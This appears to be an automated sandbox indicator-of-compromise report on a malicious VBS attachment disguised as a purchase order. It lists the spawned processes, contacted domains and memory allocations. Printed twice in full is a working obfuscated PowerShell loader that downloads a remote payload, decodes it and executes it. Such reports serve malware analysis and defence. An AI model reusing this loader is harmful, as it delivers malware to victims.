IOC Report
PO 26519PZ F30 59.vbs

PO 26519PZ F30 59.vbs

ASCII text, with CRLF line terminators

initial sample

C:\Windows\System32\wscript.exe

C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO 26519PZ F30 59.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Spleniform225 = 1;$Figurskaaret='Substrin';$Figurskaaret+='g';Function Nepotistic($Mistnkeligt){$Conchuela=$Mistnkeligt.Length-$Spleniform225;For($Autometamorphosis=5; $Autometamorphosis -lt $Conchuela; $Autometamorphosis+=(6)){$Aversioners+=$Mistnkeligt.$Figurskaaret.Invoke($Autometamorphosis, $Spleniform225);}$Aversioners;}function Enrens($Klippehules135){&($grazable) ($Klippehules135);}$Wedelns=Nepotistic 'JuleeM Spiro NnnezLuthei In elDecenlTjuruakiloj/,itri5Euc l. Tuff0Chemi ,rond(PreciWTri,hiRoscon TreedAggraoElectwHabudsViv,e AboriNAartuTChae. Bekos1Babit0Kmpen.Inarm0 Mono;Dokum InnhoWbegrdiSkrydn,riva6 Bege4Sundh; Diag BenegxOvers6.umss4Sedim;Al id umbrOmforvOutwe:Stunt1Towns2Riddi1 ,osi.Spise0Dalc ) I,du UnintGE.itueDaakac Koffk KnigoCircu/,lnsn2.ount0Paahi1infur0 Effe0catal1udmat0D,wry1For o TeleFB,udbiUdst,r FormePart fKuponoduplixRedni/Part.1P.stn2 Slau1 Lase.Nonec0Milie ';$Bombiccite240=Nepotistic ' PdatURekursVarieeTriumrSmitt- FinfALog.egMisape P,ctnDomest Stor ';$Charger=Nepotistic ' uffohTest t Stent GranpLnmodsKa.to:rekto/Marli/Omnitd Uvilr Depridelsivanhugeves,i.BeirugColl o madro KlokgBeriglTeleuePun.i. Brysc H.tpo lempmSkeed/ Famiu,alsscSh pp?TungteMbelpxNicetptufteoPerivr E entCleme=Ana.sdTr,ldo Snknw Drean NonclD stooproviaLucradGo,sf&U.wraiDistodHindu=verse1Lakmuy Ber,sEmilsXM.rioS .nylWProgrc UgelkSi.de_ Bares p tihGobblf Jac,s V,riiDi stVBagerSI.nijvDuffbxVelv.1SlageUSit,sk UrolpPrintRTetraU Tyfu2VideoRSc,ot4VelarF Sa,kJTvrsk7 AfnakInscr8DemonZBenin ';$Indtgters=Nepotistic 'Aummb>Overe ';$grazable=Nepotistic 'NematiRe ule Yv rxHas.e ';$Skatteprocenters = Nepotistic 'SynsfeSmertcMytolh ManioPostb syste% Undea Skr pRlighpProcedG.umpa KbentSim laBioni%Socia\MenueU R tmd NorijWheezvOkto,nTurbueMonot. BahrMSubstaSymboi Fo k .ill&Pl,dg&Basar ObdureKur,ucTailbhHymenoCzari Ansig$Stil, ';Enrens (Nepotistic 'Josua$Um,akgGenialprevooCent.bDir.saTrdokl Gang: imalUalternKaithcdalevaWaltzvAa ele,gterranklanReheaoDispeuMontas Y arlBuffeyGlot.=Aften( Outgc IndemDagpld Co.p ,isav/EoniacPlagi .rek$StemmSBeredkLjendaSkrmmt.ormitVapo.eCentipOpsmnr eninoSubmicUnsules aglnSchultDesceeNedblrAnthrsF,uep) Lept ');Enrens (Nepotistic 'Selvs$TaarngPrerelUn.wioTeatebGall,aS atkl,dslu:ForbeS M notD stauFor efstinkf intriTentlnunseneFaglrsFikses Grim=Zaddi$ TempC B,reh BalaaThimbrLednig PerqeAcridr nexp.Serassfi.kapInvarlProbliBe,ent,aris(Venog$BacteI tligngabardAbandtJa,nig Horot.ndele CharrDi.gnsMydri)P.dic ');$Charger=$Stuffiness[0];Enrens (Nepotistic 'Tornf$ Palpg,paltlPreatoSp.llbcarp.a ,rtllSamvi:F,rvaFThundrKap taCemetndi,dlkStokklVarebiIntran Int,=RedseN ViceeBoligwDiarb-,latwOBamsebOmbytjNonsyeForlncVal.otStrea OverrSArnauy KulksImmuttJordreFr nkmBeren.UninwNStoreeKa ketTnger.Ep,grWOver,eOplgnbregenC Lr,ilNu,rei TroseTrompnBargetToles ');Enrens (Nepotistic ' Ovip$F.rmaFTrekorPett aKor enUnstokEndo,lAndefi ,aranStren.stateHLovfseCamisaEjegodMarkeeg dkerDeskrsAs ar[ Sk.p$valuiBUn ero Wedgm.rfarbmngdeiSpec cRugekcKand.iEluvitDiskoeG.nic2ac im4Leath0unres]Triv.=Undou$,hiriWBrdskeDisred InseelimonlValmun Gta s Bebl ');$Oralises=Nepotistic 'BorepF ChefrParala etern F.ctkUnwhilO erliBookbnrever.GeggeDTjen,oHusarwAs ernSekunlQuiesoBet ga Un,edSurfmFV.ldmiB,gralArkolegenne(Nonex$Hen,eCTiebohCiga.aAfb.lrForhagUnlegeAm rfr,ddad,Frman$VentrD UndeaBusu tFreelaPeta,k ImproPembinOdonttKinoorbdni,oFljlslLundylLunseeBlamerEmbr,) turk ';$Oralises=$Uncavernously[1]+$Oralises;$Datakontroller=$Uncavernously[0];Enrens (Nepotistic 'syssa$,ropagStuehl bladoWhi.tbUforkaRa eflA tar:NonsiRDe trere,cccKvilioLambdgAfhugnPrstei KedlzNedisiSolutnEpigrgBrn,sl onvyCusp.=phosp(BueskT UndiepostfsAlk mtOr,an-HypogP Spela in.utInnovh,iscu Renta$ MonaD s ndaTykmat ArthaByudvkSn,ffoV.dignPi uat Sa sr Angio Che,lYeravlUdlggeCossnrRela.) Tro ');while (!$Recognizingly) {Enrens (Nepotistic ' Sfri$Rec,tgWienelAntr,oSpkn,bTr.kkaTheoclS,dek:S.ppoNGra ieTrav dBetnktIncinr HybraBymllpLevitpAltiteMewlenSurdedM,kaeeSv,nssDoghe=Refra$ lovotEndocr TrumubumbleHal,c ') ;Enrens $Oralises;Enrens (Nepotistic 'Hal.mSJodhptOmkalaDonalrCabeztKompo-HippoSUhvislEftereStrekeSquo.pTornu Dgnpr4Omvur ');Enrens (Nepotistic 'F.dbo$AccorgKlienl ShoroavestbFo uragon rl lydi: ScapR BypleHandscHyperoP,ttegFejltn D.siiSeismzstopui RibonForkegBlankl RdtuyR aka= uiti(Diza,T ScoaeKrak,sKlimatMejsl-ResunPV,nneaSweentAmmo,hSard Forpr$ UdfrDKonomaAndentFrdigaLogopk Kon o RomtnPaedet AkacrtiltuopalmelMus.al,heateOmnicrTinse)Tut,b ') ;Enrens (Nepotistic 'Mi,it$stoccgSongmlDreamoChancbSoapia strol Pink:SenonB falsemes,erPre.egInterePragmrTierse RefisEndog= Tr k$MedalgpelomlMac ooFa tibSporuaS cralUnhum:Mis oGO.teolT,ksoaChit.dCirkleContalHjla.i No,ckObiiseUdhng+Uncir+bbsmu% Fler$FempeSWighttCheesuSpidsf W.vefPh toiMarlonRe leeHer.esOvertsDissi. StracTheoloBeha u I.fenKalketGerm ') ;$Charger=$Stuffiness[$Bergeres];}Enrens (Nepotistic 'Desil$LancigMomiplBrev,oNat,ebkit.ha UncrlB anc:QuintDHa.ukePietepT pijoSkratlChemiaPost.rCollyi mplosAmatriK,nden Neurg Tern3Overa3overh Venst=Mil t Nga.sGLa,ane KilotUnpau-MerotCFolkeo Bra nHystetEgalleTylosn FremtFabri hjert$PetroD.hthaadelsptalabaaAssimkDensio ortenKernetStra,rLovgeoDe.ydlOvertlCest.eLang,rVolum ');Enrens (Nepotistic 'Rhino$GrydegSoph,l Bom,oHestebAft.saPanhyl An,i:TpkevG Mo,ie Distn Overn,equie,lgormBioditUnsnarKalvenE,progUdrade Faucrdi.ko ,inia= T.ds Whips[g oseSSunshyIntwis ,ncytCoitueStru,mTally.AtriuCIndoloLaesenPinprv Toule Annar Smaat.nave]Udsmu:Nonpr: VankF Clabr.mpero Floom Gi uB DigiaMonkms Str enondi6 Aktu4ArithSAfpritLauncrHekseiIndbun FravgA,ist( Hydr$ HereDMo oceParanp SepaoSnifflSagfoaCollerReawoiUnappsFranciHissyn Mejeg Diec3neofa3G,und) Funk ');Enrens (Nepotistic ' Blis$OkkergTiggel DictoOest,bRufgaaTrihylSkovk:Po.stT Sovrj Res,uKre,ar ,pichMu iaaSurminUblegelibernFo.ha B ul=Enrag Fyldj[SlagtS ,lotySkvetsOs.untQuanteEngromNorma.GrailTUnvoyeInterxFilantBrnef. ParaEFratrnBegl c DecuoArmagd TaksiDv gan tikgRetfr] pekt:Udg,a:.onraAW,ariSAerobCD.engIeksk I Lith. PrsiGN ndeeSmrb tH,perS LiggtFortor OveriDu,elnDetaig onv(Ikend$ T,igGKandeeR,masnBatf,nTailoenonelmlite tU,offrVoldtnNikolgPr cte,roderBrovs) Comp ');Enrens (Nepotistic 'sbefa$UnorpgUddatl OphooMatilbOutbraTriollLymph:AppreWScallhP ffiiAllestFr tilDis ooMurkrcKikuskDetin= alci$JustiTarglejBrideuKuch.r C.ichGree,aSpin.nCorduexenonnVindh.Rea fs Fo.kuCornfbDrawrsl,ptot Pantr Ambui Coxan Ka,egPrint(Luktc3 .opu1Myel 4,nted6 Bajo6 Hexi1Nons.,bilab2Mis,i8Hidk,5Vkst 9Thirs2Assec)Unbar ');Enrens $Whitlock;"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Spleniform225 = 1;$Figurskaaret='Substrin';$Figurskaaret+='g';Function Nepotistic($Mistnkeligt){$Conchuela=$Mistnkeligt.Length-$Spleniform225;For($Autometamorphosis=5; $Autometamorphosis -lt $Conchuela; $Autometamorphosis+=(6)){$Aversioners+=$Mistnkeligt.$Figurskaaret.Invoke($Autometamorphosis, $Spleniform225);}$Aversioners;}function Enrens($Klippehules135){&($grazable) ($Klippehules135);}$Wedelns=Nepotistic 'JuleeM Spiro NnnezLuthei In elDecenlTjuruakiloj/,itri5Euc l. Tuff0Chemi ,rond(PreciWTri,hiRoscon TreedAggraoElectwHabudsViv,e AboriNAartuTChae. Bekos1Babit0Kmpen.Inarm0 Mono;Dokum InnhoWbegrdiSkrydn,riva6 Bege4Sundh; Diag BenegxOvers6.umss4Sedim;Al id umbrOmforvOutwe:Stunt1Towns2Riddi1 ,osi.Spise0Dalc ) I,du UnintGE.itueDaakac Koffk KnigoCircu/,lnsn2.ount0Paahi1infur0 Effe0catal1udmat0D,wry1For o TeleFB,udbiUdst,r FormePart fKuponoduplixRedni/Part.1P.stn2 Slau1 Lase.Nonec0Milie ';$Bombiccite240=Nepotistic ' PdatURekursVarieeTriumrSmitt- FinfALog.egMisape P,ctnDomest Stor ';$Charger=Nepotistic ' uffohTest t Stent GranpLnmodsKa.to:rekto/Marli/Omnitd Uvilr Depridelsivanhugeves,i.BeirugColl o madro KlokgBeriglTeleuePun.i. Brysc H.tpo lempmSkeed/ Famiu,alsscSh pp?TungteMbelpxNicetptufteoPerivr E entCleme=Ana.sdTr,ldo Snknw Drean NonclD stooproviaLucradGo,sf&U.wraiDistodHindu=verse1Lakmuy Ber,sEmilsXM.rioS .nylWProgrc UgelkSi.de_ Bares p tihGobblf Jac,s V,riiDi stVBagerSI.nijvDuffbxVelv.1SlageUSit,sk UrolpPrintRTetraU Tyfu2VideoRSc,ot4VelarF Sa,kJTvrsk7 AfnakInscr8DemonZBenin ';$Indtgters=Nepotistic 'Aummb>Overe ';$grazable=Nepotistic 'NematiRe ule Yv rxHas.e ';$Skatteprocenters = Nepotistic 'SynsfeSmertcMytolh ManioPostb syste% Undea Skr pRlighpProcedG.umpa KbentSim laBioni%Socia\MenueU R tmd NorijWheezvOkto,nTurbueMonot. BahrMSubstaSymboi Fo k .ill&Pl,dg&Basar ObdureKur,ucTailbhHymenoCzari Ansig$Stil, ';Enrens (Nepotistic 'Josua$Um,akgGenialprevooCent.bDir.saTrdokl Gang: imalUalternKaithcdalevaWaltzvAa ele,gterranklanReheaoDispeuMontas Y arlBuffeyGlot.=Aften( Outgc IndemDagpld Co.p ,isav/EoniacPlagi .rek$StemmSBeredkLjendaSkrmmt.ormitVapo.eCentipOpsmnr eninoSubmicUnsules aglnSchultDesceeNedblrAnthrsF,uep) Lept ');Enrens (Nepotistic 'Selvs$TaarngPrerelUn.wioTeatebGall,aS atkl,dslu:ForbeS M notD stauFor efstinkf intriTentlnunseneFaglrsFikses Grim=Zaddi$ TempC B,reh BalaaThimbrLednig PerqeAcridr nexp.Serassfi.kapInvarlProbliBe,ent,aris(Venog$BacteI tligngabardAbandtJa,nig Horot.ndele CharrDi.gnsMydri)P.dic ');$Charger=$Stuffiness[0];Enrens (Nepotistic 'Tornf$ Palpg,paltlPreatoSp.llbcarp.a ,rtllSamvi:F,rvaFThundrKap taCemetndi,dlkStokklVarebiIntran Int,=RedseN ViceeBoligwDiarb-,latwOBamsebOmbytjNonsyeForlncVal.otStrea OverrSArnauy KulksImmuttJordreFr nkmBeren.UninwNStoreeKa ketTnger.Ep,grWOver,eOplgnbregenC Lr,ilNu,rei TroseTrompnBargetToles ');Enrens (Nepotistic ' Ovip$F.rmaFTrekorPett aKor enUnstokEndo,lAndefi ,aranStren.stateHLovfseCamisaEjegodMarkeeg dkerDeskrsAs ar[ Sk.p$valuiBUn ero Wedgm.rfarbmngdeiSpec cRugekcKand.iEluvitDiskoeG.nic2ac im4Leath0unres]Triv.=Undou$,hiriWBrdskeDisred InseelimonlValmun Gta s Bebl ');$Oralises=Nepotistic 'BorepF ChefrParala etern F.ctkUnwhilO erliBookbnrever.GeggeDTjen,oHusarwAs ernSekunlQuiesoBet ga Un,edSurfmFV.ldmiB,gralArkolegenne(Nonex$Hen,eCTiebohCiga.aAfb.lrForhagUnlegeAm rfr,ddad,Frman$VentrD UndeaBusu tFreelaPeta,k ImproPembinOdonttKinoorbdni,oFljlslLundylLunseeBlamerEmbr,) turk ';$Oralises=$Uncavernously[1]+$Oralises;$Datakontroller=$Uncavernously[0];Enrens (Nepotistic 'syssa$,ropagStuehl bladoWhi.tbUforkaRa eflA tar:NonsiRDe trere,cccKvilioLambdgAfhugnPrstei KedlzNedisiSolutnEpigrgBrn,sl onvyCusp.=phosp(BueskT UndiepostfsAlk mtOr,an-HypogP Spela in.utInnovh,iscu Renta$ MonaD s ndaTykmat ArthaByudvkSn,ffoV.dignPi uat Sa sr Angio Che,lYeravlUdlggeCossnrRela.) Tro ');while (!$Recognizingly) {Enrens (Nepotistic ' Sfri$Rec,tgWienelAntr,oSpkn,bTr.kkaTheoclS,dek:S.ppoNGra ieTrav dBetnktIncinr HybraBymllpLevitpAltiteMewlenSurdedM,kaeeSv,nssDoghe=Refra$ lovotEndocr TrumubumbleHal,c ') ;Enrens $Oralises;Enrens (Nepotistic 'Hal.mSJodhptOmkalaDonalrCabeztKompo-HippoSUhvislEftereStrekeSquo.pTornu Dgnpr4Omvur ');Enrens (Nepotistic 'F.dbo$AccorgKlienl ShoroavestbFo uragon rl lydi: ScapR BypleHandscHyperoP,ttegFejltn D.siiSeismzstopui RibonForkegBlankl RdtuyR aka= uiti(Diza,T ScoaeKrak,sKlimatMejsl-ResunPV,nneaSweentAmmo,hSard Forpr$ UdfrDKonomaAndentFrdigaLogopk Kon o RomtnPaedet AkacrtiltuopalmelMus.al,heateOmnicrTinse)Tut,b ') ;Enrens (Nepotistic 'Mi,it$stoccgSongmlDreamoChancbSoapia strol Pink:SenonB falsemes,erPre.egInterePragmrTierse RefisEndog= Tr k$MedalgpelomlMac ooFa tibSporuaS cralUnhum:Mis oGO.teolT,ksoaChit.dCirkleContalHjla.i No,ckObiiseUdhng+Uncir+bbsmu% Fler$FempeSWighttCheesuSpidsf W.vefPh toiMarlonRe leeHer.esOvertsDissi. StracTheoloBeha u I.fenKalketGerm ') ;$Charger=$Stuffiness[$Bergeres];}Enrens (Nepotistic 'Desil$LancigMomiplBrev,oNat,ebkit.ha UncrlB anc:QuintDHa.ukePietepT pijoSkratlChemiaPost.rCollyi mplosAmatriK,nden Neurg Tern3Overa3overh Venst=Mil t Nga.sGLa,ane KilotUnpau-MerotCFolkeo Bra nHystetEgalleTylosn FremtFabri hjert$PetroD.hthaadelsptalabaaAssimkDensio ortenKernetStra,rLovgeoDe.ydlOvertlCest.eLang,rVolum ');Enrens (Nepotistic 'Rhino$GrydegSoph,l Bom,oHestebAft.saPanhyl An,i:TpkevG Mo,ie Distn Overn,equie,lgormBioditUnsnarKalvenE,progUdrade Faucrdi.ko ,inia= T.ds Whips[g oseSSunshyIntwis ,ncytCoitueStru,mTally.AtriuCIndoloLaesenPinprv Toule Annar Smaat.nave]Udsmu:Nonpr: VankF Clabr.mpero Floom Gi uB DigiaMonkms Str enondi6 Aktu4ArithSAfpritLauncrHekseiIndbun FravgA,ist( Hydr$ HereDMo oceParanp SepaoSnifflSagfoaCollerReawoiUnappsFranciHissyn Mejeg Diec3neofa3G,und) Funk ');Enrens (Nepotistic ' Blis$OkkergTiggel DictoOest,bRufgaaTrihylSkovk:Po.stT Sovrj Res,uKre,ar ,pichMu iaaSurminUblegelibernFo.ha B ul=Enrag Fyldj[SlagtS ,lotySkvetsOs.untQuanteEngromNorma.GrailTUnvoyeInterxFilantBrnef. ParaEFratrnBegl c DecuoArmagd TaksiDv gan tikgRetfr] pekt:Udg,a:.onraAW,ariSAerobCD.engIeksk I Lith. PrsiGN ndeeSmrb tH,perS LiggtFortor OveriDu,elnDetaig onv(Ikend$ T,igGKandeeR,masnBatf,nTailoenonelmlite tU,offrVoldtnNikolgPr cte,roderBrovs) Comp ');Enrens (Nepotistic 'sbefa$UnorpgUddatl OphooMatilbOutbraTriollLymph:AppreWScallhP ffiiAllestFr tilDis ooMurkrcKikuskDetin= alci$JustiTarglejBrideuKuch.r C.ichGree,aSpin.nCorduexenonnVindh.Rea fs Fo.kuCornfbDrawrsl,ptot Pantr Ambui Coxan Ka,egPrint(Luktc3 .opu1Myel 4,nted6 Bajo6 Hexi1Nons.,bilab2Mis,i8Hidk,5Vkst 9Thirs2Assec)Unbar ');Enrens $Whitlock;"

C:\Program Files (x86)\Windows Mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

C:\Program Files (x86)\IkhhjpqkuSBzOMxFOUjnLtXVXvlcwbxQtzqFeoWyOeZdOsgWYMvzhFIgRSISNBlgioszqXJbklLnku\sLGpONHtWjN.exe

"C:\Program Files (x86)\IkhhjpqkuSBzOMxFOUjnLtXVXvlcwbxQtzqFeoWyOeZdOsgWYMvzhFIgRSISNBlgioszqXJbklLnku\sLGpONHtWjN.exe"

C:\Windows\SysWOW64\icacls.exe

"C:\Windows\SysWOW64\icacls.exe"

C:\Program Files (x86)\IkhhjpqkuSBzOMxFOUjnLtXVXvlcwbxQtzqFeoWyOeZdOsgWYMvzhFIgRSISNBlgioszqXJbklLnku\sLGpONHtWjN.exe

"C:\Program Files (x86)\IkhhjpqkuSBzOMxFOUjnLtXVXvlcwbxQtzqFeoWyOeZdOsgWYMvzhFIgRSISNBlgioszqXJbklLnku\sLGpONHtWjN.exe"

C:\Program Files (x86)\Windows Mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

C:\Program Files (x86)\Windows Mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\Firefox.exe"

http://pesterbdd.com/images/Pester.png

unknown

www.collegeclubapparel.com

unknown

8400000

direct allocation

page execute and read and write

577D000

trusted library allocation

page read and write

A90000

trusted library allocation

page read and write

1569006C000

trusted library allocation

page read and write

2F30000

remote allocation

page execute and read and write

A50000

trusted library allocation

page read and write

8E90000

direct allocation

page execute and read and write

F00000

system

page execute and read and write

390000

system

page execute and read and write

2E00000

system

page execute and read and write